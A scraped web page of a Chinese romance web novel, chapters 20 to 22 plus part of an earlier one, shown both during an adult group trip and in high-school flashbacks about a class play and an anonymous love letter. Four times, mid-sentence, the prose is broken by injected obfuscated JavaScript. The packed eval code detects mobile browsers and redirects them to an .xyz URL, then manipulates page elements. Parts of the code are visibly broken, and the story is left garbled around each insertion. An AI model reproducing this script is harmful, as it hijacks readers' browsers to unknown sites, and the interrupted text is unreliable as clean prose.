女生没睡醒的状态下被碰到脸,第一反应叫一声自己男朋友名字,再自然不过。 是他没把握好分寸,有点唐突。 * 乔迦茵身后正在埋头理包的年轻青年猝然被叫到名字,迷茫地抬起头:“啊,叫我吗?” “……嗯。”稍微停顿了一会儿,乔迦茵才睁开眼,小声回答。 邵允承想了想,暂时放下包,前倾身体,趴到前座椅背上:“怎么了吗?” 旁边车门咔哒一下合上,驾驶座上的宋玉津下车了。 乔迦茵视线往那里荡了一下,很快就收回,稍微侧过脸对邵允承说:“没怎么,随便叫你一声。” 邵允承丝毫没有多想,笑着说:“难得你要找我,我以为有什么事呢。” 后座盛霏那一侧的车门被打开,宋玉津探进一个头来:“你们两个想想办法,怎么把她叫起来。” 盛霏一旦睡死,叫醒难度有目共睹。但总不能把她放车里一晚上不管。 乔迦茵先是回答邵允承的话:“刚才可能有……现在忘记了。”随后指挥宋玉津,“你拍拍她试试。” “她没有起床气吧?”宋玉津弯下身,轻轻拍盛霏肩膀。 “没有吧?”乔迦茵说,“我每天早上都把闹铃最大声开着放她耳边。” “你太狠了。”邵允承敬佩。 “这就狠了?这样也叫不醒。”乔迦茵道,“她会躲进被子里赖床,我一般就得站在旁边骂她,把她喊到起来。” 邵允承敬佩的眼神渐渐转为一种恐惧。 乔迦茵心平气和地说:“不然你们以为她这两天怎么能按时在楼下会合出发的?要是我不用点残酷手段,她能睡到下午两点。” 她看了看宋玉津那边,指点道:“你这样绝对不行。” 于是宋玉津开始猛晃盛霏肩膀:“盛霏,盛霏,醒醒。” 盛霏在剧烈的震荡中睡眼惺忪地半睁开眼,声线虚浮:“……啊?” “回酒店了,别在车上睡,冷。”宋玉津轻声说。 他不管对谁都总是很有耐心,态度温柔,所以从学生时代起就招女孩子喜欢。乔迦茵垂了眼睛,拿出手机看消息。 盛霏:“……好……” 声线还是虚浮的,没有支点一样,一口气提起来,话没说完就散掉了。 宋玉津松了口气,将她放下,后者“咚”的一声,又靠到椅背上了,眼睛合上。 他不太确定地回过头问:“我这是成功了没啊?” “没。”乔迦茵抬起眼扫了盛霏两眼,冷酷道,“她压根没醒。” “那她刚才还答话了。” “无意识的,你等她真的醒了问她,保管她一点记忆都没有。” 宋玉津没办法了:“那怎么办?” “直接把她拽起来吧。”乔迦茵说,“反正走在路上总归半醒了,把她拉到酒店房间继续睡就行了。” 宋玉津犹豫着不知如何下手,乔迦茵一脸莫名其妙地看他动作,不是情侣吗,怎么完全不敢碰的样子? 她实在受不了这么等下去,推开车门:“我来。” 最后是乔迦茵把人半拖半拽地带进酒店,一进大堂,水晶灯四散的灯光像手术灯似的一照,盛霏登时醒了。 等到上楼进房间,她睡意消去大半,已基本不困了。 眼神清明地坐在床边问乔迦茵:“怎么不叫我起来?居然直接把我从车里拖出来,好暴力!” “宋玉津叫你了,有印象吗?”乔迦茵问出口时已经猜到答案。 “你编的吧?没人叫我啊。” 乔迦茵见怪不怪,懒得和她掰扯。 她路上被戴总发消息临时要个文件,一回房间就急着开电脑做材料。 盛霏看着她行云流水地改ppt,感叹道:“我记得你也喝了那个酒,你不困的吗?我好像一上车就倒下了。” “刚才坐车上也困,现在过去了。”乔迦茵回答。 “啊,原来你刚才也睡了。” ppt模板可以套用,大部分文字要重新修改,乔迦茵将光标移动到文本框里,顺着拉选上一大片文字,屏幕显出一长块深蓝色。 她一门心思改材料,一边敲字一边没怎么思考地回答:“我没睡啊,喝了酒心跳得快,睡不太着。” * 突如其来的暴雨打乱了既定的计划。 原本他们今天就要出发到下一个沿海城市,搭船到小岛上游玩,晚上在民宿休息。 前往小岛的游船航线倒未受影响,他们顺利抵达了小岛,然而所有景点都因雨关闭,没的玩。 最后四人只能点了外卖在民宿里吃。盛霏对昨夜的青梅酒念念不忘,又点了几瓶。除了吃食和饮料以外,叫了两副扑克牌来玩。 民宿是庭院设计,房间在二楼,大门进来,绕过中庭到屏风后侧,就是公用的休息区域。四下无人,他们就围坐一桌,随意地谈话玩牌。 宋玉津去门口取了外卖,拎着几个袋子放到桌上,大家都伸手上来拆。乔迦茵手肘撞到他的,他赶紧侧身让了让,看了她一眼问:“眼睛怎么了?” “什么怎么了?”不解其意。 “红的。” 乔迦茵身边,盛霏插嘴道:“眼睛红了吗?是不是因为没睡好啊,看你昨晚还在加班。” 邵允承咋舌:“这么辛苦。” “没办法,怕丢饭碗啊。”乔迦茵半开玩笑地说。 宋玉津语气认真地反驳:“不是眼睛红,是眼睑上。” “什么啊。”乔迦茵莫名其妙地打开手机前置,照了半天不知道他在说什么。眼睛是有轻微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14761674|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的红血丝,但也不严重,现在大家都熬夜,人均红血丝。 宋玉津无奈,指了指屏幕:“右眼这里。” 她手机前置像素一般,采光更是糟糕无比,他不指出位置,根本看不清楚。 原来是说她眼皮上一道红痕。 乔迦茵:“晚上揉眼睛揉出来的吧。”而且有点痒,他不说还不觉得,现在察觉到存在感了。 “以为你又过敏。”宋玉津说。 发红发痒,细看右眼还有点肿,乔迦茵以前也有过这种症状:“这个其实也是过敏。” “这次过敏原还是工作?” 鬼知道,乔迦茵说:“不是工作就是你。” 大家都有点饿,餐食很快解决,随后就打起扑克,有一搭没一搭地聊着天。 “之前迦茵说喝酒的时候要给我讲前男友的故事,一直都没讲,我差点忘了。”盛霏说。 乔迦茵握着牌说:“啊?你要我现在讲?” 盛霏继续道:“我对邵允承也还缺乏了解,有很多疑问……” 邵允承警觉地抬起眼。 “所以我们打牌输的人就真心话大冒险!”盛霏提议。 余下三人稀稀拉拉地同意,反正也闲着没事。 结果第一把,盛霏输了。 邵允承:“……你们比较了解,你们问。” 乔迦茵:“没什么想问的,宋玉津问。” 宋玉津:“……我也没什么想问的。” 盛霏根本没有秘密,她话多且密,一路上开着车就把自己从小到大的经历抖落完了。 盛霏积极提示:“你们还可以让我大冒险。” “……” 几位都不是中学生大学生了,早就过了对大冒险兴致盎然的年纪,这里也不是夜店,玩出格的冒险不合时宜。 被两个男生让出这个没人要的出题机会,乔迦茵思考半晌,最后说:“那你洗牌吧。” 盛霏:“……” 第二把,宋玉津输。 盛霏摩拳擦掌,双眼放光,俨然一副六亲不认之像:“我早就有一个困扰许久的问题想问了!你必须如实回答!” 宋玉津失笑:“现在选大冒险还来得及吗?” “否决,不许选大冒险。”在场兴致最高的人一言堂,“好好回答我问题!” 她慎重地思考着措辞。 “你在和我交往之前,有没有喜欢过女生?” 邵允承在乔迦茵耳边掩口说:“这什么问题,他以前不喜欢女生的?” 乔迦茵受不了地给他一拳。 她看出来,盛霏还是想知道此前宋玉津说的自己没有谈过恋爱,是不是真的。 宋玉津很坦然。 “有,不过没谈。” 盛霏“啊”了一声,转头问乔迦茵:“你知道是谁吗?” “这是第二个问题了吧。”宋玉津抗议。 盛霏驳回:“我问迦茵,又不问你。” 男生半垂下眼睑,视线的尽头落在乔迦茵脸上。 乔迦茵摇摇头:“不知道。” 和宋玉津又不熟。 要说他喜欢过哪个女生?好像他虽然女生朋友不少,关系却都差不多,保持着一点疏离感,薛卓然也好、其他的一些女生也好,显然都不在他亲密朋友的范畴之内。 没有头绪。 可能是在分神回忆的缘故,乔迦茵输了第三把。 “总算到你了!”盛霏拍桌而立。 乔迦茵:“……你是想问汪斐,还是我其他的前男友,还是我以前喜欢过谁?” “都不是。”盛霏说,“我比较好奇你说的高中收到情书的事。” 在志愿洗牌的宋玉津倏然抬眼。 20. 第 20 章 集体舞并未因为乔迦茵的突发状况而横生枝节,他们班好好完成了这一活动,拿了个二等奖的名次回来。 舞伴瘸了腿,宋玉津也未能上场,这让乔迦茵和薛卓然都松了一口气。 宋玉津以另外一种方式还是作出了微小的贡献——常年写高分作文的男生被托付了写串讲词的任务,自认为完成得不辱使命。 那一大段串讲词引经据典又化用了好几首著名诗歌,串连起来的句子漂亮且难懂,如同优美诗篇。大家都给出了很高的赞赏。 不走运的是,集体舞活动的主持人不具备与宋玉津同等的文化水平,前面几个班级的串讲词简单直接,他报幕还算顺畅,唯独到了他们班,变得磕磕巴巴,每念两三个词就要卡壳,甚至读错了两个字,唯一完整读下来的句子是最后的“接下来有请高一4班为我们带来表演”。 导致台下观众无人欣赏到宋玉津精美的文采,对此他本人也深表遗憾。 “这次让你发挥的机会到了。”学生会召集的文艺委员会议结束,乔迦茵和主持会议的宋玉津一起往教室走,“刚才说的课本剧,剧本你来写吧。” “不会写啊。”宋玉津无奈道,“平时写写串讲词、学生会文案之类还行,剧本还真的没办法。” “反正课本剧要求从名家作品里改嘛,找个好改的,桥段精彩点的。”乔迦茵说,“你期中作文又被打印出来发到全年级了,这种时候就不要推辞了。” “我们作文都是议论文啦。”反驳的声气弱下去,知道这个事推不掉了。 从演讲厅到教学楼,拐了一个弯,宋玉津起了另一个话题损她。 “之前不是说要辞职?结果还是在认真负责地做这个被扣上来的文艺委员。其实你要是现在跟闫倩提出,她会答应的。” 乔迦茵连拿了几次年级第一,在闫倩跟前横着走都会被熟视无睹。 “我改变主意了。”乔迦茵说,“集体舞出了几个岔子,还是好好完成了,有点成就感,不想急流勇退。” 宋玉津意外地扬起一边眉毛:“但你不像是热爱集体的那种人啊,” “我确实不是。”她说,“只是觉得这个事有点挑战性,才想去做。集体荣誉感那种东西一边去。” “别让闫倩听见就行。” “我会有那么不小心?” 说着就临近教室门口,转身一踏进去,和讲台上的闫倩对上目光。 宋玉津和乔迦茵:“……” 彼此偷偷对视了一下,抿嘴忍住一点笑。 闫倩对他们之间的眼神戏视而不见,热情地招呼道:“刚开完会,是说课本剧的事情吧?”明雅中学历年例行活动,老师们早就熟悉了,“迦茵啊,这次活动搞得过来吗?课本剧筹备起来还挺费时间的,需不需要人帮你?” 言下之意,其实是担心办活动影响她学习。 “还好。”乔迦茵冷淡地说,“大家愿意配合就行了,可能得让男生们帮忙搬搬道具。” “这有什么的。”闫倩扬手就喊,“廖明!来来来。” 最后排的高个子男生原本明显在偷偷玩手机,被班主任点了名,满脸不情愿的样子上来了,走近讲台望见乔迦茵平静的脸时,突然间不自然了起来,稍稍转开视线,只看闫倩道:“什么事啊?” 闫倩说:“之后这一个月班里要搞课本剧,难免有些体力活,你们几个帮着乔迦茵一点,别捣乱。” “哦。”说着快速瞄了乔迦茵一眼。 廖明是体育生,文化课成绩倒数,翘课违纪是家常便饭,老师们最头疼的那种学生。乔迦茵没料到闫倩会借她这个题敲打廖明,总觉得这个情形有点尴尬,又没什么话好说,就对着他微笑了一下。 廖明反倒是被烫了一下似的,视线闪了闪。 “哦什么哦,听到了没有?”闫倩说。 “听到了。”语气垂下去。 表现还挺配合,闫倩摆摆手,让人走了,转过头关心另一位优等生:“宋玉津啊,最近升部长了?学生会工作不忙吧?” 一向很好说话的优等生似乎走了神,盯着远去的廖明的背影若有所思,没听见她的问话。 乔迦茵伸手,在底下扯了一下宋玉津的衣摆。 “嗯,什么?”这才回神了,“还好,没什么事。” 什么情况?闫倩想,看来挺忙的,怎么跟做梦一样。还是乔迦茵靠谱,两边平衡得好。 * 剧本很快定了下来,改莎翁的经典剧目《仲夏夜之梦》,剧情轻松易懂,角色不算太多,本身剧本都不用怎么修改。 到了选演员这步,就出现了难关。 几个愿意抛头露面的女生都想演赫米娅,不想演海丽娜,觉得海丽娜前期“太舔”,后期被男人受到魔法影响爱上后又极其不自信,是个卑微角色,台词苦情,姿态不漂亮。乔迦茵劝说她们还可以选仙后,漂亮高贵,服饰华丽,又觉得仙后的戏份很少且滑稽,要在全年级众目睽睽下表演爱上一头驴,剩下的就都是等同于花花草草的边缘角色。文艺委员夹在中间,为了达成一致只能采取投票制,最后大家勉强点了头,实际上都心有不满。 吃力不讨好。 乔迦茵回过身,在宋玉津的桌子上撑着下巴,和他商量改剧本的事。 “仙后的戏份要不再加一点,然后身边跟几个精灵仙女之类的。” “课本剧有时间限制的。”宋玉津提醒她。 “所以这其实是对你的一场考验。”乔迦茵正色,“我相信你能克服的。” “……” 平心而论确实不难,本身宋玉津就因时长限制的缘故把原作仙王仙后的部分删去了大半,加回来一些就是了。 他随意转着笔,问她另一个事:“女生这边演员定完了?” “嗯,我演海丽娜。” 尾音里不乏沮丧,宋玉津不由得问:“怎么这么失望,你本来想演谁?” “那个结婚的,叫什么来着。” “希波吕忒。” “对对对。” 男生难以理解:“……为什么?” “戏份少,开场站那边就行了,也没几句台词。”语气疲惫,“我已经身兼多职既做导演又做统筹了,现在还让我主演,太为难人了。” 原来如此,宋玉津支着下颌,问:“男生这边你打算什么时候定下来?” “没什么好选的,长得好看的男生又不多,你们几个人自行分配好了。”乔迦茵向宋玉津抬抬下巴,“你想演谁?女生们都觉得拉山德必须给你演,没有异议的话就拉山德了。” 他深感意外:“我已经被内定了吗?” “是的,我们班的门面。” 话音刚落,窗边的走廊有认识的女生经过,冲宋玉津打了个招呼。 门面本人立即友好微笑地回了一句嗨。 回过头来,乔迦茵斜着脑袋没什么表情地看他。 宋玉津很快地说:“新任外联部长,好像最近有什么信件寄送活动,会到每个班派发传单。” 其实他解释完,也不知自己为什么要解释。 乔迦茵压根没理会这个小事,确认地问:“你演拉山德没问题了?” “……不能是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774807|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狄米特律斯?”他低声问。 乔迦茵没有立即给出回答。 她抱起双臂,向后仰了仰,作出一副审视他的姿态。 “你不早说。”她说,“那就多的是人要报名海丽娜了。” 宋玉津笑:“也没来问我。” 狄米特律斯也是重要主演,戏份不比拉山德少,甚至台词量更大一点,同样能发挥出“门面”效果。 问题变成了,“那拉山德谁来演呢?” 宋玉津垂下眼睛,虽然脑海中冒出了廖明的名字,但是决定保持沉默。 此时正好有男生走到桌旁,轻声叫了一声乔迦茵。 乔迦茵侧过身去,数学课代表抱着一打作业册,说:“老师找你去办公室。” “知道了,我马上去。”她打了个哈欠,心情不佳。 宋玉津警觉地问:“她找你什么事?” 他们班数学老师即上学期没收了宋玉津手机的年级主任,男生期末考后成功拿了回来,但至今心有戚戚。 “我昨晚忘记做数学作业,今天早上赶的。”乔迦茵说,“做太快估计错了很多。” 对待乔迦茵比一般学生的标准要高,她错两道题老师就要草木皆兵了。 “怎么不抄我的。”宋玉津慷慨道。 “抄你的还不如抄黎远的,抄你的还会和你错一起。”黎远就是此时安静站在旁边的数学课代表,“黎远的应该没错。” 数学课代表被cue到,对乔迦茵笑了一下:“也不一定的。” 乔迦茵仰着脸看了他一会儿,说:“其实黎远你可以演拉山德。” 黎远惊讶道:“什么?” “有一点那个气质。而且长得也很帅嘛。”乔迦茵说,“你没意见吧?愿意出演吗?噢对,你还和宋玉津一个寝室的,排练对手戏好方便。” 两个男生短暂地交换了眼神,黎远问:“你也演?” 宋玉津笑着反问:“我有的选吗?” 黎远也失笑,对乔迦茵应允下来:“没有意见。” “行,那我先去办公室了。” 女生毫无顾忌,直接起身像阵风一样离开了,眉头压得紧,显然是觉得数学作业很烦。宋玉津一想到她到了办公室对着年级主任也会摆起一张臭脸,不禁觉得有点好笑。 黎远脸上也仍带着笑意,冷不丁问他:“你和乔迦茵在交往?” “什么东西?”宋玉津震惊地抬起眼。 黎远耸了耸肩:“很多人都这么猜,你们去年基本形影不离,今年就感觉生疏一些,有人说你们分手了。” “……去年是因为我被收了手机,账号都绑在她手机里。” 今年也没有变得生疏,只不过升上高二后大家确定了小三门选科,每天下午走班上课,他和乔迦茵的课程不一致,自然没法整天待在一起。 宋玉津说,“你和我住一间寝室的,我有没有在谈恋爱你看不出来?” 黎远摸摸鼻子道:“我当然觉得没有,只是想确定一下。” “没有,完全没有。”宋玉津突然觉得很心累,“发你的作业去。” 黎远笑着走了。 宋玉津低头研究乔迦茵乱七八糟写在草稿纸上的“剧本修改意见”,这玩意纯属想到哪写到哪,顺序完全错乱,多的是莫名其妙的简写和代号,这边一个箭头拉过来那边一个增补符号,甚至有一部分可能拿反了纸,倒着写的。 他很有耐心地破译着这些鬼画符,忽然间有个疑问掠过脑海,半眯了眼睛。 黎远明知他无比清白,为什么要多此一举地“确定一下”? 21. 第 21 章 课本剧涉及的演员众多,就算不参演的同学,可能也被安排后勤帮忙,每次要排练都兴师动众,动辄半个钟头以上。一开始大家觉得新鲜有趣,配合还算积极,三次过后,乔迦茵再召集人排练时,都各有推辞,这个要去竞赛辅导,那个要复习月考。 “我不要竞赛?我不要月考啊?就你的时间金贵?”乔迦茵冷着脸反唇相讥。 对方不好意思地笑道:“乔迦茵你不一样啊,你比我们厉害,大佬嘛,不用怎么学的。” 眼见女生冒着火气回到座位上,宋玉津递了一罐冰可乐过去:“喝吗?” “谢了。”本来宋玉津想帮她开,不想她手快,劈手夺去直接单手顶开拉环猛灌两口。 喝完就忍不住吐槽:“每次排练一个小时,听上去时间长,但是前二十分钟都是乌泱泱一群人在废话聊天和等迟到的人,为了不影响上课又都得提前结束,有效时间根本就没有多少,结果现在才第三次排练,根本找不到人了。” “正好赶上月考了。”宋玉津安慰她,“可能月考后会好点。” “所有科目连考一周,考完就没有多久了。”她心情不见好。 乔迦茵心高气傲,难得才软下语气去求人,被拒绝后难免忍不住脾气,几天下来明里暗里都在得罪人。本身人缘就没有多好,课本剧推进到现在,四下里其他同学对她的负面情绪又积聚起来。尤其是在女生们之前选角色时发生过小争端,当时就引起了几个女生的不满。连带着这些天薛卓然和她说话态度也变得有些尴尬。 “毕竟明天就开始考了嘛。” “明天只考语文,有什么好复习的。”语气还是很冲。 宋玉津提醒她:“有必读书目。” 明雅中学语文教学组每个月布置两本必读书目,其内容进入当月考试的出题范围。 “……”原本还背对着他的乔迦茵缓缓回过头去,抬起眼睛,“我忘了。” “……”宋玉津也无言以对了,“《欧亨利短篇小说选》和《受戒》,你哪本没看?” “都没。”乔迦茵说,“我书都没带来,忘家里了。” 宋玉津干脆利落地从桌肚里抽出kindle递过去:“这里有,借你一晚上。” “谢谢!”乔迦茵打开壳子翻看了两眼,收起来道,“我带回寝室看。” “去吧去吧,能看多少看多少,也别熬大夜。” 乔迦茵稍微沉默了会儿,宋玉津隐约察觉到违和,从作业中抬起头:“怎么?” “没,感觉你蛮善良的。” 过于热心地爱帮忙,对于班里的暗流涌动一派天真单纯,有时候还多管闲事。 找不到合适的词来形容,暂且评价为善良吧。 宋玉津笑笑,眨眨眼睛:“噢,新同学啊,第一天来上学了。你叫什么名字?” 乔迦茵直接转回去了,懒得理。 晚自习过后,和温见竹散了一会儿步才回寝室,踩着门禁的点,比旁人要晚些,上完楼梯走在廊道里时刚好打了铃,左右两边的寝室一瞬间全都熄了灯,像有两头黑色的巨兽穿行过去一样。 乔迦茵扬手和温见竹挥别,走到自己寝室门前,听到里面传出几句谈话声。 “……所以说她难道不是很装吗?摆出一副任我们想演谁就选谁的大方样子,又自己争着要演海丽娜。” ——等等,不都是你们不想演海丽娜吗? “可能她就喜欢这种被两个男角色喜欢的玛丽苏人物吧,看上去组织排练很积极要为班级做贡献的样子,实际上只是享受被追随被吹捧的感觉。” ——不是啊,谁想演海丽娜谁演啊! “是哦,她自己不也是钓着宋玉津不放吗?” ——什么跟什么??? “说起来他们两个有在交往吗?实在看不懂,如果是普通朋友未免太暧昧了。” “肯定不是‘普通朋友‘’啊!说交往也不像,有谁这么说过吗?” “不知道啊,都有在传。” “男生那边传出来的吧。说不定乔迦茵对宋玉津是这个说法,骗骗他的。” “宋玉津太单纯了,根本看不出来,被她哄得团团转了。” “男生就是要蠢一些,帅的也不例外。”“没错。” 吱呀一声,乔迦茵直接推门而入。一片黑暗的寝室里顿时鸦雀无声。 她取了自己的毛巾睡衣和牙具去洗澡,声音叮铃咣啷,把门一关,在门外站了一会儿。 里面始终没有再说话了。 * kindle被搁在自己桌上,宋玉津仰起头,问:“看完了?” 女生只是摇了摇头,没有和他多话的意思,放下东西转头就出了教室。 可能去上厕所,他没多心,信手将kindle放了回去。 等早自习铃响后她才回来,宋玉津习惯性往前凑,想和她搭话,她像没听见一样,不理不睬。 宋玉津以为她真没听见,起身越凑越近,随后就被年级主任敲了窗户。 “你没事吧,宋玉津?”年级主任哭笑不得地说,“是你自己的课本不好看,非要看人家乔迦茵的?” 班里传起一阵笑声,宋玉津也无奈地低头笑了一下,没发现女生撑着脑袋没笑,只容色冷淡地看着课本。 早自习是搭不上话了,等到课间,乔迦茵又起身去找温见竹,两个人有说有笑到教室外聊天了。再下个课间,乔迦茵趴在桌上睡觉。再再下个课间……老师拖堂了,没有课间。午饭时间,宋玉津被几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780066|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个男生叫住一起吃饭,他随意聊了几句回过头,乔迦茵和温见竹都不见了! ……这一天下来,宋玉津总算意识到,乔迦茵突然之间对他格外冷淡,似乎在避着他。 为什么啊?想不通。 别的暂且不提,难道课本剧她也不关心了?宋玉津问起这件事时,乔迦茵倒没有避而不谈,只是神色如常,语气自然道:“月考期间全员一起的排练肯定没办法,大家私下先练着吧。” 宋玉津还没说话,她就横了他一眼:“你可以自己约人对戏啊。” 道理是这个道理,听上去无可指摘。只是她对自己的态度太诡异,没法不在意。还想多问几句,女生视线往他胳膊淡淡一扫,他下意识收回手,她点下头就走了。 四月里动不动就下雨。 傍晚忽然间又落起倾盆的雨,刚下的时候宋玉津已经走了两步出去,顷刻头发就被打湿一半,立刻选择折返。 橱柜和座位边未见到雨伞,他回想了一会儿,意识到某次集体排练的时候把雨伞搁在了艺术楼的走廊上。 教学楼离男生寝室有点距离,晚自习则还要一个多小时才开始。他在冒雨回去和留在教室写作业之间考虑,脑海中不期然闪过一个念头:乔迦茵不知道跑到哪里去了,刚才看她离开教室出去,方向不像是回寝。 ……我去艺术楼找我的伞,和她有什么相干? 宋玉津想到这里,双手插进口袋,脚步一转,悠闲地走向艺术楼。 一楼是美术教室和讲堂,乱七八糟的雕像、学生画作随意铺陈在廊道里,无人使用的时候一楼不开灯,怪阴森的。 二楼是音乐教室、琴房和排练室,隔着很远就听见悠扬曲声,乐团在排练演出。 宋玉津看见他的黑色长柄伞挂在走廊尽头的窗台,上次遗漏下来,忘记带走。 旁边还挂着两把。 都是折叠伞,伞柄伸长了,一样挂在窗台上,伞面松散地向下垂落,倒悬的灯。 一把亮黄,一把深蓝。 宋玉津视线在那把亮黄的折叠伞上落定,面上一时凝固住,看不出情绪。 交响乐团恰好奏完一个乐章,指挥扬起手空心握圈,收拍,艺术楼上下落入短暂静默。 隔壁排练室轻微的话声变得格外清楚。 “……‘横死的幽灵抱恨长终’,这里的‘横’是第四声,你刚才念错了。”女生的声音再熟悉不过,吐字时像冰块碰撞,清凌凌的冷冽嗓音。 “这不是横竖的横吗?” 宋玉津听着以为她肯定要不耐烦了,没想到乔迦茵难得很有耐心:“是横竖的横没错,这里就是要念第四声的。” 和她对话的男生,他也听出来了。 ——课本剧扮演派克,廖明。 22. 第 22 章 “学生会外联部联合其他学校举办了一个‘书信传意’活动,一定范围内的高中生们可以彼此传信,不需要贴邮票放邮筒,由各个学校的学生组织自行收集传达。” “当然,既然都已经搞了通信活动,学校内部传信也是可以的,写明年级班级姓名,外联部都会帮忙转交。” “那封所谓的情书就是以这种形式给我的。”乔迦茵漫不经心地说,“寄件人没留名字,说是别的学校寄过来的都有可能。” 盛霏敏锐地捕捉关键:“你之前可没说过会是外校写给你的。” “因为明显不是。”乔迦茵说,“口吻一看就是同校的。” 宋玉津将桌上的牌码到一摞,信手切了几下,没抬头:“你连内容都记得?” “不难记,又不长。” 盛霏和邵允承两位不相关人士明显来了兴致:“那说说呗,写了点什么?”“我也想听。” 一桌子目光聚集到乔迦茵脸上,她缓慢地眨眼,似在回忆,连呼吸也变轻一些。 ——致高二四班乔迦茵。 在写下你的名字时,我们刚刚在教室挥别不久。神奇的是,每当“明天见”被你说出口,这三个字蓦然成了一句短促的咒语,令虚无缥缈的来日忽然间有了值得期待之处。 …… “不说了。”安静片刻后,乔迦茵淡淡吐出一句,看向宋玉津,“发牌吧。” “啊——??”盛霏回以一句哀嚎,“怎么就不说了啊!胃口都被钓起来了!” “高中生写的东西,有什么值得好奇的。”乔迦茵说,“一共就是那点事。” 盛霏怒道:“太扫兴了你!宋玉津邵允承这把我们一起针对她!” 邵允承成了复读机:“好好好,针对她!” 乔迦茵冲邵允承翻了个白眼:“适可而止啊你,还记不记得我是你女朋友?” 旁敲侧击的一个警告,邵允承挠了挠后脑,嘿嘿一笑。 在她的眼神示意下,邵允承将乔迦茵伸过来的手握住了。 握住的时候略有犹豫,最后是松松地将她拇指以外的四指牵住。她也没说什么。 要出牌的时候,乔迦茵自己把手又抽了出来。 这把输的是宋玉津,他玩牌一向还可以,不知怎么马失前蹄,惹得盛霏长吁短叹,不为宋玉津的失败,而为乔迦茵的胜利深深表示遗憾。 “宋玉津也没什么好问的。”盛霏兴致缺缺地说,“白纸一张,在我之前都没谈过恋爱。” 邵允承惊呼:“真的假的?宋哥不像啊。” 宋玉津镇定道:“人的优秀不需要通过恋爱经历的多少去呈现。” 邵允承也有点八卦:“你们两个是怎么认识的啊?” “我和宋玉津吗?”盛霏接过话来,“和你们差不多,我有个发小和他是同学,撮合认识的。” 很常规的发展,一起吃饭玩过一次后,私下又约了几回出来。 她话说得简略,怕露馅,一边说一边祈祷乔迦茵和邵允承二位不要多问。 邵允承毫无眼色:“能不能讲点细节?” “能有什么细节啊……”盛霏无力道,“就是最普通的那种见面,最普通的那种约会。” 邵允承有八卦之心,没有与之相配的能力,半天问不出个所以然,只好感慨一句:“这都能成,说明你们两个是真爱。” 事实上早已分手且毫无留恋的盛霏和宋玉津两人:“……” 幸好乔迦茵看上去对这故事不感兴趣,起身道:“我去买瓶水,你们谁要?” 另外三人摇摇头,她独自往外走。 民宿后门就有自动售货机,没几步路,商品齐全。 雨势渐小,天色依然阴暗,反衬出售货机的灯光明白,亮堂堂地照在她脸上。 在思考选哪款饮料的时候,身后传来脚步声。 她回过头,宋玉津道:“你走之后,盛霏突然想喝维他奶,我来看看有没有。” 乔迦茵侧着让开一点位置,给他展示货架:“只有巧克力味的。她喝吗?” “应该不喝,她好像不爱喝甜的。” “我也记得是。” 乔迦茵拿出手机扫码付款,听到旁边的青年道:“想问你一个问题。” 语气平淡随意到像是聊天气,偏偏又是选在四下无人的安静场所才问出来。阔别多年,乔迦茵对这人的一些行为习惯仍有预料,直觉不会是什么令她心情愉快的问题。 于是她说:“输的人才要真心话,我打牌又没输。” 宋玉津从善如流:“噢,那你可以用假话回答我。” 乔迦茵:“……” 她低头输密码,付款成功。货架上一瓶乌龙茶倾倒下来,落入取货口。 她和离机器更近的宋玉津同时蹲下身去捡,两只手推开挡板往里探,无意间碰到一起。 乔迦茵:“……你是要抢我的水?” 宋玉津比她手长一些,已经摸到了,听她这话哭笑不得,将饮料拿出来,递给她:“是想帮你拿。” 乔迦茵瞪着他接过去,站起身。 宋玉津仰着脸看她站直,才晚一步站起来,问出那个问题。 “你不喜欢邵允承,为什么和他在一起?” 乔迦茵本来抬脚要走了,被这句突如其来的问话凝固了动作,难以置信地睁圆了眼睛。 “啊???”本能地发出了单音节,随后才跟上他的思路,“凭什么这么说啊?” 宋玉津难得地没有笑,站立的姿势还算休闲,在售货机旁微低了头注视着她,气质有一点不易察觉的迫人。灯太亮,照得他靠那一侧的几缕发丝都浅了一度。 “我看得出来。” “你看出什么了?”直接反问。 宋玉津欲言又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795288|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 